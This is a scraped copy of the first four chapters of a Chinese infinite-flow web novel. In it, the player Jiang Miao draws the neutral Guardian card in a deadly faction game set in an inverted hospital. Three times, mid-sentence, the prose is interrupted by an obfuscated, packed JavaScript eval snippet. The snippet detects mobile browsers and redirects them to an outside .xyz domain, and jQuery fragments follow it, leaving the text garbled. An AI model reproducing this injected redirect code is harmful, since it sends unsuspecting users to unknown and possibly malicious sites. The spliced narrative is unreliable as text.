《中立守护者[无限]》
1. 第一章
【欢迎新玩家姜渺登入《神明已闭眼》,游戏相关详细介绍已发进邮箱,请注意查收。】
喧闹的游戏大厅内,玩家们三两成群,或激动高声,或絮絮低语,无人注意到角落处多了一个皮肤白皙透亮,穿着干净利落的年轻女孩。
姜渺单膝跪在地上,不适地皱了皱眉,反手把衣服帽子戴了起来。
这是哪儿?
她回忆起刚才的系统音,注意到自己手腕上多了一个散发着莹莹蓝光,如水波一样流转的手环。
姜渺谨慎地用手指触碰了它一下。
面前弹出一块约有半人高的透明电子屏。
不远处的玩家们还沉浸在与身边人的交谈中,一个人也没有朝这边看过来。
只有她能看见。
姜渺放下心来,阅读过游戏介绍。
《神明已闭眼》是一款阵营对抗类游戏,每局游戏中有十二位玩家,分为三个阵营。除中立外,正义和邪恶每个阵营都有五名玩家,每名玩家在进入游戏一分钟内系统自动为其抽取本局游戏的身份牌。
游戏获胜条件为正义或者邪恶阵营完成本阵营任务。中立玩家不可单独获胜,只能选择帮助正义或者邪恶阵营,同时和帮助的阵营共享任务进度以及胜利与失败。
很通俗易懂的游戏规则。
即使上面用红色加粗字体写着“受伤和死亡都会同步到游戏大厅以及现实世界”,也没能让姜渺多停留几秒目光。
因为比起游戏介绍,显然足足列了四五页的身份牌介绍才更值得关注,但姜渺也不是全然一个字一个字地仔细读过,电子屏左上标注着她第一局游戏的开始时间。
只有五分钟不到的准备时间了。
她只打算大致记住每个阵营都有哪些身份牌,详细技能介绍留到进入游戏后再看,可她很快就在阅读至中立阵营时卡住了。
“守护者……”姜渺手指轻点在后面带着上锁标识的那个身份上。
正义阵营也有名为“守护者”的身份,但并没有上锁,技能介绍也能查看。
姜渺直觉这张身份牌应该十分烫手。
所以,不要让她抽到好不好?
她什么都不记得了,连名字还是从系统那儿听的,参加这死人稀松平常的游戏已是极为勉强,要再成为众矢之的……
想想都觉得很累。
姜渺时间卡得很好,在看过邪恶阵营的最后一个身份牌,系统的声音再次响起。
【玩家姜渺成功登入副本“颠倒医院”。】
【正在为您抽取身份牌……】
【恭喜您抽到中立阵营的“守护者”身份牌。温馨提示:这张身份牌是永久绑定的哦。】
姜渺:……
【中立阵营的“守护者”身份牌技能详细介绍已经解锁,随身份牌附赠的一次除返回现实世界的许愿机会一齐发至您的邮箱,请注意查看。】
除了基本的守护机制外,还有一次以“守护”为名淘汰他人的机会,而且还可以背叛并杀害被守护者。也就是说,中立守护者有两次淘汰别人的机会?
其余身份牌最多只有一次淘汰别人的机会,而与它同名的正义守护者甚至一次也没有。
啧,真够惹眼的。
姜渺看过技能介绍,默默在心底编排了身份牌设计者几句,终于开始观察她所处的环境。
陈旧破败的医院大厅里,泛黄的墙壁上不规则地分布着或新或旧的血手印以及用血写就的一些模糊不清的话语。
姜渺凑近试图辨认,却被身旁的棕发女孩扯了扯袖子,“别乱碰,指引者来了。”
姜渺低声道谢,淡色的眸略过她过分纯真的笑容,抬眼去看指引者。
她在把系统邮件研究透彻后顺带把手环里其他功能也研究了一番,其中论坛功能是她最喜欢的。翻了几篇帖子,她就把关于游戏的黑话了解得差不多了。
指引者这个词自然也被做了详细解释,它指代的是进入游戏后遇到的第一个npc,因第一个npc往往会透露大量信息,并提供一定基础帮助而得此名。
这个副本的背景是医院,指引者自然也是医院相关的人物。
那穿着白大褂,戴着金丝眼镜的npc提一摞册子,端得一副文质彬彬,为人亲和的好医生模样,温和出声,“你们就是新来的实习护士吗?我叫陈冠玉,是这所精神病院的负责人,我的办公室在六楼,你们工作时间内有什么问题都可以来找我。”
陈冠玉眼睛一眨不眨地微笑着看过所有玩家,如愿在某位胆小的玩家脸上看到躲闪和害怕,才轻笑出声,将手里的册子放在地上,“虽然我们的病人一般情况下都很听话,但鉴于你们初来乍到不懂规矩,还是很容易遇到例外情况不是吗?所以我给你们准备了《护士守则》,里面详细写了你们可以做什么,不可以做什么,最适合你们这些单纯的实习护士使用了。”
“喏,你的。”
姜渺还在思考“单纯的实习护士”背后的深意,棕发女孩就领了两本《护士守则》回来。
她接过《护士守则》,礼貌性地报了姓名。
“我叫童柠。”那棕发女孩笑得灿烂,与这阴沉、令人不安的医院格格不入。
姜渺并不觉得童柠真如她表现出来得这么单纯,正欲深入探究她眼眸深处盘旋着的东西,陈冠玉就再次开了口,“不要着急,之后有的是时间给你们完整阅读这份《护士守则》。你们现在要做的是去更衣室换上护士服,然后去和你们所要负责的病人打个招呼,不然等天黑了病人们不认你们是他们的护士,那就麻烦了。”
“指引者走了,我们快去换衣服吧,抢在他们前面说不定还能挑个省心点的病人。”
被陈冠玉这么一打断,童柠已经收好眼底的情绪,仰头眼眸中不含一丝杂质地看着姜渺,仿佛全身心都信任着她。
姜渺没被这种假象欺骗。
但目前来说,童柠并没有害她的意图,所以,随她便。
于是姜渺点了点头,任童柠拉着她穿过人群,认真又迅速地挑了两件与其他相比稍微干净整洁一些的护士服。
“每件护士服应该都对应着所要负责的病人,让我看看病人信息在哪儿……”童柠扔给姜渺一件后,仔仔细细地把她的护士服检查了一遍,“找到了!领口处有红线绣成的编号,我的是——6号。”
姜渺摩挲了一下那个绣得杂乱粗劣的数字,说,“我的是4号。”
童柠皱起眉,“不太吉利啊。”
姜渺看了眼空荡荡的衣架,知道换一件已然是件没可能的事情,轻摇了摇头,“没事。”
不会有比抽到中立守护者更差的事情了。
童柠无从知晓姜渺的心理活动,闻言同情地拍了拍她的肩,“那天黑时见,我在三楼右侧楼梯口等你。”
《神明已闭眼》的时间分界线是神明睁眼闭眼,但“神明”这个概念太过抽象,为了玩家好判断时间,神明闭眼的时间就是天完全黑时,神明睁眼的时间就是天完全亮时。
而游戏中第一次天黑时才是游戏正式开始的时间。
姜渺穿上护士服,去找4号病房。
这家医院并不和常规医院的布局一致,一层只有两个病房,单数在左,双数在右。
那么,4号病房就在二楼的最右边。
姜渺站在一楼与二楼之间的楼梯上,眯起眼睛去看朝阳的4号病房。
现在正值太阳落山时,4号病人安安静静地坐在窗边,整个人都被笼罩在霞光中,表情祥和而宁静。
姜渺不愿惊扰她,尽量动作轻地走到病房前,才颇为克制地敲了敲门。
“是新来的实习护士吗?”4号病人转过身,温顺地看着姜渺。
“嗯,我叫姜渺。”姜渺简单地做了自我介绍,快速地把病房里的一切扫了一遍。
病房里面倒是干净得很,没有那些乱七八糟的东西。
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14686093|156919||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
4号病人眉眼弯弯,“姜护士原来是个不爱说话的。不过也没关系,我在这里已经待了很久了,早就习惯一个人了。你要知道,这里的医生他更是个锯了嘴的闷葫芦,除了日常检查,根本不和我多说一句话。”
姜渺安静地听着,突然一个低沉的声音自身后响起,“你又在编排我什么?”
“哪一句不是事实?你现在来难道不是给我做检查的?”4号病人不怕他,朝他伸出一只手,催他,“今天快些抽血,我还想和姜护士多聊几句。”
“我姓宫,叫我宫医生就好。”宫医生朝姜渺点了点头,然后无情地拒绝了4号病人的要求,“抽完血,我要给她讲日后的工作安排。”
“你这人……”4号病人轻叹了口气,没继续和他争辩。
宫医生和4号病人对抽血环节已经非常熟练了,不到五分钟就把日常检查做完了。
姜渺作为实习护士,这期间也没闲着,虽然她并不懂医学,但偶尔窥着时机,帮宫医生递些需要用的医用品还是可以做到的。
宫医生很满意姜渺的表现,整理好检查用的物品后,推着医车,朝她使了个眼色,示意她跟上来。
姜渺下意识回头看了眼4号病人,4号病人眨了眨眼,朝她做口型,“我等你回来。”
她会回来的,但估计要很久之后了。
姜渺看了眼渐黑的天色,跟上宫医生。
宫医生的办公室就在4号病房的对面,看起来也是与一般医生的办公室无异,但里面摆放的物品要比病房里多得多,姜渺只这么粗看过一圈,就直觉这里存有副本任务线索。
“别的医生可能会给实习护士病人的病历,但我没有。因为4号病人没有生病,病的是我。”宫医生安置好医车后,突然说道。
正观察一盆土壤颜色过深盆栽的姜渺头也不抬地回,“嗯。”
然而她这过分平淡的反应却像是开启了什么开关一般,宫医生立即就发了狂,把桌上的资料全部扫在地,逼得姜渺不得不起身与他对视,防备他做出什么极端行为。
“你不信我。”宫医生眼中隐隐透着癫狂。
姜渺稍稍思考了几秒后,还是选择诚实,“只是没有完全信你。因为我与4号病人接触下来确实觉得她不像是有病的样子,但你,我不知道。”
“是这样吗?”宫医生半信半疑地看了她一眼,又恢复了那副冷静自持的模样,“除了这点,我没有需要告诉你的事情了。如你所见,4号病人很听话,你不需要为她太过费心。你应该领了《护士守则》,按那上面的做就可以……”
说着说着,宫医生突然瞟了一眼窗外,表情变得严肃起来,“太阳马上就要完全落山了,你应该知道的吧?完全天黑时和完全天亮时这两个时刻不要和任何医生病人待在一起。如果很想结伴而行的话,你们一起的实习护士或许是个不错的选择。”
“为——”
姜渺还没来得及询问原因就被似乎急着要去做什么的宫医生赶出了办公室。
也罢,那她去和童柠汇合。
三楼楼梯口处,童柠倚在墙上,嘴里叼了一根点燃的烟,烟头星星点点的火光随着她的动作在黑暗中明明灭灭。
姜渺迟疑了一下,退了几步,重重地把楼梯踩出声。
童柠迅速把烟捻灭,扔到一旁的垃圾桶内。
“你来啦?”她趴在生锈的楼梯扶手上,双眼笑成一条缝,与方才判若两人。
姜渺应了一声,靠近她。
童柠却退后一步,偏着头问姜渺,“先不要过来!我还没问你呢,你是什么身份牌?”
“守护者。”姜渺沉默了两秒,答。
童柠得到答案,松了一口气,却还是站在姜渺三米之外的地方,“真好,我们是同一个阵营,但我只是最没用的NPC,唉。”
片刻沉默后,她试探地问,“如果你现在还没选定好要守护谁,可不可以守护我?”
2. 第二章
姜渺既然已经穿走了守护者的“衣服”,那童柠的这个要求她势必是要答应下来的。
中立守护者不要求必须守护他人,正义守护者却是要求必须守护一人的。
几秒思绪流转后,姜渺踩着太阳最后一缕霞光完全沉入夜色前应了。
她是不信童柠只是一张只拥有一次积分换盲盒道具卡机会和一次改换阵营机会的NPC牌的,只不过童柠撒谎与否对她完全没有影响,她也就懒得去探究童柠究竟拿的是什么身份牌。
最为重要的一件事是她直到现在都没有接收到有关任务信息的邮件,那么说明中立玩家只有选定要帮助的阵营后才会有所选阵营同步任务信息。
而目前她只接触过童柠一个人,她不得不现在就选定帮助正义阵营。
烦。
姜渺不满地垂了垂唇角。
她和童柠并没有选择在天黑后一起行动,而是交换过目前已获得的信息后就各自回了各自负责的病房区域内。
在游戏时除特定游戏背景需要,否则玩家是不会有困意和饥饿感的,因此他们天黑时也是要想办法推动任务进度的。
终于收到正义阵营任务邮件的姜渺一边思考着如何区分出真正的医生和病人并将其在天亮时归位,一边摸上病房的门把手,却赫然发觉触碰到一片温暖肌肤。
姜渺猛地抬眼。
“姜护士。”4号病人温和地喊她,收回手,“吓到你了吗?只是一个小小的恶作剧,请不要在意。”
姜渺却没办法不在意。
4号病人不知什么时候脱下蓝白条纹的病号服,换上了一身整洁干净的白大褂,再加上妥善扎好的头发,简直比宫医生还像医生。
“你……”姜渺试探地开口。
“哦对了,我之前没和你自我介绍过,都怪4号病人太不省心了,闹得我屡屡犯这种小错误,真是不好意思。不过现在也不迟吧?我姓安,你叫我安医生就好。”安医生微笑着打断她。
“安医生。”姜渺喊了一声,沉默下来。
她和童柠交换已知信息时,发现天黑前的医生们表现极为不同,就比如说,童柠所负责病人的主治医生就是正常给予童柠病历本,而不是说病人没病,有病的是他。
姜渺无法判断她和童柠谁遇到的情况正常。
安医生很习惯姜渺的沉默,埋怨了一句“不要学他啊”,推开了病房的门。
先前的宫医生此刻身着病号服,平躺在病床上,双手交叠放在肚子上。
姿势很诡异。
姜渺默默地想。
“你没睡着。”安医生拿棉签戳了戳他的脸。
宫医生不理她,“睡着了。”
“你睡觉哪有这么早?起来,今天还有一次检查呢。”安医生强行把人拽起来。
宫医生脸色很不好,却没和她发脾气,任由她像摆弄洋娃娃一样摆弄他。
“唔,真费劲。”安医生安置好宫医生后,朝姜渺抬了抬下巴,“白天已经给你展示过怎么做检查了,这次就由你来。”
“我拒绝。”宫医生抗议,“她只是一个实习护士。”
“抗议无效。”安医生按住他的手,柔声催促姜渺,“快点,他耐心不多。”
姜渺只好在宫医生的瞪视下给他扎针,可她的运气并不好,三次下针都没找到血管。
姜渺再一次拔出针,小心地抬眼窥探宫医生的脸色。
越来越臭了。
在连续五次扎针失败后,宫医生终于忍不了了,一把夺过针管,快狠准地扎进血管里,“抽。”
姜渺见安医生没制止,手忙脚乱地给他抽血。
一套检查流程下来,她竟是用了一个小时还要多。
安医生整理了一下医车上的医用品,边推车往外走,边和姜渺讲悄悄话,“你看,这就是快要发病的前兆。”
安医生这悄悄话并没收声,宫医生闻言直接捞起床头柜上的东西扔向这边,“滚。”
然而和他相处甚久的安医生早有预料,在此之前就关上了病房门,“刚刚好。”
姜渺看着安医生得意的表情,也浅浅笑了。
安医生宛如发现什么新大陆一般惊呼,“你原来还会笑欸。”
什么话?
姜渺收起笑,正打算说些什么,心口却猛地一痛,跪倒在地。
安医生蹲下身子,摸了摸她的头,把一枚钥匙放进她胸前的口袋里,“累了吗?实习护士就是很辛苦,适应几天就好了。但今晚就先好好休息吧。这是办公室的钥匙,帘子后面有张小床,你睡正好。”
那她呢?
姜渺抬头想辨别安医生离开的方向,却被那久久不散的痛意模糊了双眼和扰了思辨能力,只能倚在墙角蜷缩成一团。
“你还好吗?能听得到我说话吗?”
朦朦胧胧中,她听到一个清亮的男声在喊她,可她根本没办法做出任何反应。
姜渺只听见那男人叹了口气,小声地开始自言自语,“估计是守护者守护失败的反噬作用。怎么第一晚就有人开刀?真是越来越不把人命当一回事了……”
男人是个话唠,姜渺原本精神都集中在痛觉上,却硬生生被他东扯西扯的絮絮叨叨吸引过注意力,撑过了反噬作用。
但姜渺还没忘记她处在游戏中,睁眼发现男人离她很近后,立即做出防备的姿态,警惕地问,“你是谁?”
“我是单云轲,但你问的应该不是这个。放心,我和你一样都属于正义阵营。”单云轲做举手投降式,以示自己没有恶意。
姜渺平等地不相信任何人,但找回思考能力的她想起自己的技能后,就全然放松了。
她并不惧任何身份牌。
然而这番表现落在单云轲眼底就完全变了意思,他惊异于姜渺的好骗,又实在觉得骗这么好骗的人太过不道德,于是他挣扎了一会儿,决定不对姜渺用技能。
嗯,在这个不把人命当回事的游戏里,他已经算是很善良的存在了。
单云轲就这么给自己洗脑着。
“姜渺。”姜渺简单报了自己的姓名后,问他,“你是负责3号病人的实习护士?你什么身份牌?”
“是,我那边探索得差不多了,来这边碰碰运气。至于身份牌,只是一张NPC。”单云轲很是沮丧地说。
又是NPC?
一局游戏中每个阵营一共只有两张NPC牌,就这么凑巧都让她遇上了?
姜渺不动声色地眯起眼睛,意图判断面前这个男人所说的是真话还是假话。
可惜失败了。
如果单云轲有在撒谎的话,那他的演技比起童柠要好上不少,至少姜渺在他脸上看不出一点破绽。
“你呢?你这边进度如何?”单云轲问。
姜渺按下疑虑,摇了摇头,“我应该是刚走完天黑后的剧情,还没来得及做别的事情。”
单云轲闻言正了神色,“说起这个,你有没有发现什么不对劲?”
他向姜渺详细道来他天黑前后遇到的事情。
“天黑前后的医生病人关系是颠倒的,3号病房的医生和病人都不承认自己有
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14686094|156919||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
病……”姜渺沉吟片刻,说,“4号病房这边其中一人向我透露他有病,而另一人,刚才因为守护者的反噬作用我并没有和她交流太多,不太确定。”
见单云轲也陷入了思考,姜渺又补充说,“向我透露他有病的那人情绪确实不太稳定,有攻击他人的倾向,但另一人没有这些特征。”
“3号病房那边的两个人精神状态倒是看起来都很正常,总不能只我们这一层就有三个真医生吧?”单云轲拧眉。
姜渺瞥他一眼,不知道他是真傻还是装傻。
如果真这么简单,那论坛上也不会哀嚎这游戏死亡率是不是有点太高了。
“可能吧。”她模棱两可地说。
单云轲和姜渺互相有所防备,除了那几条摆在明面上的的线索以外,谁也不肯把自己目前的判断说与对方。
姜渺不想浪费时间,起身告别,“我去4号医生办公室看看,你随意。”
单云轲很是识趣地没跟上去,他思考了一下,选择上楼去看看别人的进度如何。
三楼,童柠和一个络腮胡男人正聊得开心。
“你刚才怎么故意去违反《护士守则》?虽然是很稀有的支线线索,但并不值得拿命去冒险。”络腮胡男人放松地倚在墙上,耸耸肩,“好在你没事,不然我可救不了你,我这局的身份牌完全没用。”
童柠满不在乎地点了根女士香烟,长长地吸了一口,愉悦地眯起眼睛,“我最惜命了,怎么可能会干这种蠢事?这局有守护者。”
“谁?”络腮胡男人感兴趣地问。
“4号。她是个很……”童柠顿了下,笑容张扬又恶劣,“很完美的守护者。但我真的怀疑啊,这么久过去了还有这么纯真的人吗?”
“你在夸她吗?”
“……不重要。我要活着,我要离开这里。”
“……”
单云轲屏着呼吸,小心地听着墙角,手里的录音笔一字不落地将两人的对话记录下来。
没想到从别人身上捡来的道具卡竟然还能在这儿派上用场。
他捏着录音笔,脑中迅速构建了一个漂亮得他都想为自己喝彩的计划,轻手轻脚地转身回楼下去找姜渺。
但姜渺此时正忙着,办公室里东西虽然杂,却基本上都是干扰项。
她仔仔细细地检查过办公室一角后,抬眼透过窗户看了眼月亮的位置,深知这么搜查直到天亮她都可能找不到任何线索,于是她召唤出守护者身份牌附带的守护剑,将她所认为可疑的地方都统统做上标记。
办公桌抽屉,帘子后小床下的杂物箱,还有……这个去而复返的男人。
“剑下留情,剑下留情!”单云轲咽了口唾沫,清晰地感知着剑尖抵在他最脆弱的喉结上,晃了晃左手拿着的录音笔,讨好地说,“我是来给你送情报的。”
姜渺收回剑。
单云轲连忙点了播放键。
一个五音不全的陌生男人操着不知道哪个地方的方言唱苦情歌的声音瞬间充满整个办公室。
“不是这个!”单云轲脸上势在必得的笑容僵住,来回切换,试图调出他录下的音频,然而对前主人极为忠诚的录音笔只播放着那一首歌。
“你先关掉。”姜渺按了按随着音乐不断跳动的太阳穴。
“关不掉了,录音笔失灵了……”
单云轲绝望地按着录音笔上所有的按键,痛恨起自己的手来。
他又不是偷盗者,怎么能见到东西就手痒?
姜渺沉默了一会儿,再次抬起手里的剑,剑锋直指单云轲。
3. 第三章
“游戏里不允许无故杀人!”
单云轲闭上眼睛喊道,试图唤醒姜渺的良知,却只听见清脆的断裂声在耳边响起。
他小心翼翼地睁开眼睛,看向已然四分五裂的录音笔。
“我为什么要杀你?”姜渺不解地问。
单云轲轻咳一声,看了眼她泛着金光的剑,没回答她这个问题。
在这个在逐渐泯灭人性的游戏里待久了,他当时哪能想到还有其他可能?
“录音笔坏了,没办法,我只能口述给你了,当然信不信由你。”单云轲简明扼要地把刚才他听到的一切复述给姜渺,半幸灾乐祸地说,“看来你守护了一个不怎么样的人啊。”
姜渺没什么表情,她挽了个漂亮的剑花,收起剑,问,“嗯,那你可以信任吗?3号办公室里有哪几处存有线索?”
单云轲一噎,“你难道不生气吗?她可是故意损耗了你50%的血量。”
他往日遇见守护者被骗,无论是同阵营还是对立阵营他们都会通过其他方式报复回去,姜渺却好似没听见一般完全不在意是不是有人欺骗了利用了她,这反应简直是异类一样的存在。
“守护者初始有150%血量,而且她不是获得了很稀有的支线线索吗?”姜渺说着,拉开办公桌的抽屉翻动里面的东西。
“这个抽屉里的资料全是一些没用的东西。如果每个办公室的物品摆放位置都一样的话,右边的抽屉。那里面有两个人的工作牌。”单云轲瞥了一眼姜渺的动作,随口提醒了两句,继续执着于让姜渺解答他的疑惑,“那多出来的50%血量是多给守护者的一次试错机会,你就这么拱手让人?而且都说是很稀有的支线线索了,她怎么可能共享给你?”
“如果接下来我守护成功,那50%血量会回来的,不算太亏。”姜渺听了他的提醒,果然从右边的抽屉里翻出两张看起来已经很陈旧的工作牌。
但守护也是要消耗守护罩的啊。
单云轲感觉说出这话的姜渺简直宛若圣母,正想说些什么,就被她手上的东西吸引了注意力,“奇怪。”
姜渺疑惑地“嗯”了一声。
单云轲从口袋里掏出他从3号办公室拿到的两张工作牌,将四张放在一起对比给姜渺看。
3号的两张工作牌上的免冠照要比4号的陈旧许多,不仅照片上有许多划痕,照片一周的白边也泛黄严重。
相反4号的两张工作牌上的免冠照崭新得像是刚打印出来一样。
姜渺若有所思地摩挲着4号的两张工作牌,问,“你在3号有找到病历本吗?”
单云轲摇了摇头,“没有,我只找到了这两张工作牌,我怀疑重点还是得放在和病人医生的沟通上。”
姜渺微不可察地叹了口气。
还有所隐瞒,看来他一定不是正义阵营了。
邪恶或者选择邪恶的中立?
总归是对立面。
姜渺看了眼外面的天色,开始赶人:“马上天亮了,你一晚就一直和我在一起吗?”
单云轲听出了她的意思,但他是个不识趣的,“我看着你点,你守护的那人很可能还会搞点小动作。”
姜渺蹙起眉,“她只有50%血量,她会死——”
话还没说完,她双腿突然失去知觉,瘫倒在地。
单云轲扶着她,颇有些恨铁不成钢的意思,“为什么不信我呢?至少我现在没想过要你的命。”
这回姜渺脑袋是清醒的,她在单云轲怀里寻了个舒服的姿势,问,“她只有50%血量,那她现在是……死了吗?”
单云轲从她眼底看到淡淡的悲伤,但他不明白她为什么会为一个只认识几天而且还利用她的人悲伤。
“没有。”他其实想骗姜渺,但话语到了唇齿之间拐了个弯就成了实话,“她身边那人是NPC,有道具卡,能保她,而且她肯定也有自保手段。估计是碰到了什么重要的线索,不得不用这种方式获取。”
“那就好。”姜渺松了一口气。
单云轲有些不可置信,“你都被她害得只剩50%血量了,你竟然还关心她的死活?这可不是一个守护罩就能解决的问题了,你两个防护罩都用上才有可能回满到150%血量。”
“死亡已经很寻常了对吗?”姜渺揉着双腿,问。
单云珂沉默了一会儿,点头,“我进游戏前上论坛看了眼目前的死亡率是62.73%,我们出去之后应该还会涨。”
姜渺认真地听着,确定自己的腿恢复知觉后,从单云轲怀里起身,“但我们不能麻木不是吗?生命本不应该如此轻贱,死亡也不应该如此寻常。”
单云轲愣了一下,唇角扬起,“你是天使吗?想普渡众生的话,也得看他们配与不配。伤害你的,你也得报复回去啊。”
姜渺知道单云轲没把她说的话放在心上,没再和他争辩什么,她把工作牌装进口袋里,说,“天要亮了,先找个地方避开npc吧,今晚一点收获没有。”
单云轲听着她最后一句抱怨,心虚地别开眼。
他就是故意跟在姜渺身边浪费她时间,拖延她寻找线索的进度的。
正义阵营的所有人他都接触过了,虽然姜渺心善得宛如圣母,但脑子却是要比其他人灵活许多的,就比如她现在虽然面上和他和谐共处,一起行动,实则对他一点信任没有。
单云轲调出电子屏,看了眼为零的信任值,觉得自己任重而道远。
他本来是想实时监测姜渺对他的信任程度以方便自己行事才对她使用了技能,至于100%信任值技能使用对象会死亡一事,那他漏出些马脚,控制着姜渺对他的信任值永远不会到达100%就好了。
可真正使用了技能他才发觉姜渺竟然从未信任过他。
于是单云轲更正了对姜渺的印象。
姜渺不是好骗,她只是不愿意说破,心软地给所有人留有反悔的机会。
但在这个游戏里,心软可是大忌啊。
就算他不要去她的性命,她也迟早会因为这份心软栽在别人手中。
二楼除了3号4号病房办公室外还有一些没有牌子的房间,姜渺随便拉开一间没有上锁的门,和单云轲躲了进去。
单云轲环顾了一圈空荡荡的房间,确定这是他已经探查过的房间后,从门上的窗户往外看,引诱姜渺,“要不要偷看天亮时npc们到底在做什么?绝对能得到重要线索。”
姜渺靠墙坐下,摇头拒绝,“你可以去。”
“那还是算了,只是第二天,不着急。”
姜渺不去,单云轲也失了兴致。
他盘腿坐下,继续之前的话题,“说真的,即便你守护的那人和我们同属一个阵营,但她那么对你,你真的一点都不生气吗?在这游戏里,滴水之仇应涌泉相报的,你一点都不合群。”
单云轲虽然最初欣赏的就是姜渺的那份只在游戏最初时才能看到的心善心软,但如果他想要姜渺活下去,那姜渺必不能继续存有这份心善心软。
姜渺不理解他为什么旧事重提,但闲着也是闲着,她决定试探一番单云轲到底想做什么,“生气有什么用吗?她是我守护的人,我不能背叛她。”
单云轲是不信姜渺完全没有黑暗面的,听她这么一说以为自己在逐步突破她的心防,“你忘了吗?我的身份牌是NPC,可以用积分换一张道具卡的。我可以帮你。”
“太浪费了,道具卡应该留着探寻重要线索。而且你为什么要帮我?你和我认识连一天都没有。”姜渺问。
那你和你那个守护的人认识也不过一天多点吧?怎么就能心甘情愿浪费去100%的血量?
单云轲心底吐槽,面上却装得好一副落寞的模样,“因为我以前也被这样表里不一的人害过,那次我差点就就死在游戏里了,好在……”
他感受着姜渺共情的目光,悄悄调出电子屏查看信任值。
还是零。
单云轲:?
亏他还觉得姜渺已经完全陷进他编造的虚假经历里了。
信任值一点不动,单云轲觉得他应该是劝说
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14686095|156919||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
不动姜渺与她守护的人为敌了,但姜渺却声音柔而坚定地同他说,“我相信你,但小小地惩罚她一下就好了。”
单云轲差点就要被她蒙蔽,但显示着信任值的电子屏还没被他收回去,大写的“0”和姜渺信任的目光形成了鲜明对比。
到底是系统出了问题,还是姜渺比他还会演?
天亮时说到底也就那么几分钟,姜渺听着外面安静下来,示意单云轲和她出去。
“去找你守护的那个人吗?”单云轲下意识地问。
姜渺顿了顿,应了一声。
她其实连惩罚也懒得惩罚童柠,只要童柠不动杀她的心思,那她就不会反击,可单云轲整个人都让她很感兴趣。
持续不断地进入游戏副本做任务已经让所有游戏玩家麻木不仁,只信奉实力至上,只肯屈服于强者。单云轲不会是例外。
只是他似乎还保有着一点他人所没有的人性。
他反复劝说姜渺报复童柠的行为不像是在谋划着从中得到些什么,更偏向是单纯的打抱不平。
就是不知道单云轲什么时候能发觉她并非他以为的“天使”了。
可能需要她漏出些破绽?
她还不知道单云轲的技能可以作弊看到她对单云轲的信任值,完全不清楚她虽然演得很好,但电子屏上过于冷漠的数字已经让单云轲自以为看透了她。
单云轲跟在姜渺身后,目光不断在她身上打转,心中挣扎不已。
他虽然不是NPC,但身上确实还有一张能保命的道具卡,只不过真的要用在她身上吗?
姜渺和她守护的人都只有50%的血量,他是有一定几率拿到双杀。不算中立,正立阵营只有五人,他相当于已经淘汰去一半的人数了。难道仅凭他在姜渺身上看到了很久之前玩家们的影子,他就要对对立阵营心生怜悯,并为此浪费掉一张道具卡吗?
单云轲不知道。
于是他一直沉默着,直到见到童柠。
他之前见过她,偷听到她和别人交换身份。
这人是个言灵者。
单云轲前面的纠结全被这一判断一扫而空。
有言灵者,自然还是要先以清扫言灵者为首要目的,言灵者拥有两次言灵机会,即使天亮前已经使用过一次也仍然是一大威胁。
“是她吗?”单云轲凑近姜渺,问。
“是你。”童柠眯起眼睛看了眼单云轲,亲昵地把姜渺拉过来,“渺渺你怎么和这种来路不明的人在一起?”
她之前和单云轲匹配过同一场游戏,那一场游戏她被单云轲骗得很惨,要不是单云轲身份牌很弱难以淘汰她,她很可能就死在那场游戏里了。
“我来路不明?”单云轲轻哼一声,“你还是和她好好解释一下她为什么一晚会被反噬两次吧。”
童柠面色不变,“我遇到危险了啊。我只是个NPC,手里没有足够的自保手段,那种情况下我又不可能事先防卫,不然我怎么也不会让那些坏家伙损耗渺渺的血量。渺渺你没事吧?都怪我。”
她脸上浮现出懊恼的神色。
“是吗?”单云轲意味不明地反问了一声,朝姜渺做了个手势,示意姜渺按原计划把童柠引到他们事先约好的地方。
姜渺没动。
单云轲以为姜渺心软了,他百分百清楚童柠和他一样是利己主义,又问童柠,“那线索呢?姜渺失去了100%的血量,保你一次,你获得的线索起码有她一半的功劳。”
“这不是还有外人在场吗?”童柠意有所指。
单云轲还欲说些什么,再度激起姜渺的报复心理,却在看见姜渺再次召唤出来的守护剑时生生咽了回去。
好久他才缓过神。
不对,他怕什么?虽然游戏里可以伤人,但照姜渺的心性,她恐怕连伤人都做不到。
单云轲沉下心思,想要继续逼迫童柠道来她真实的意图,从而利用姜渺把童柠淘汰掉。
可他又被打断了,这回是童柠的惊呼声:“你这把守护剑怎么是金色的?”
4. 第四章
姜渺并起两根手指划过剑身,没说话。
正义阵营代表色是蓝色,邪恶阵营代表色是红色,中立阵营代表色是金色,所以身处中立阵营的她手里这把剑自然也是金色。
“你是……中立守护者?”单云轲盯着剑好一会儿,才惊疑地下了一个结论。
童柠在听到“中立守护者”一词时,立即转身就要跑,却被姜渺掷在她前方的剑止了步。
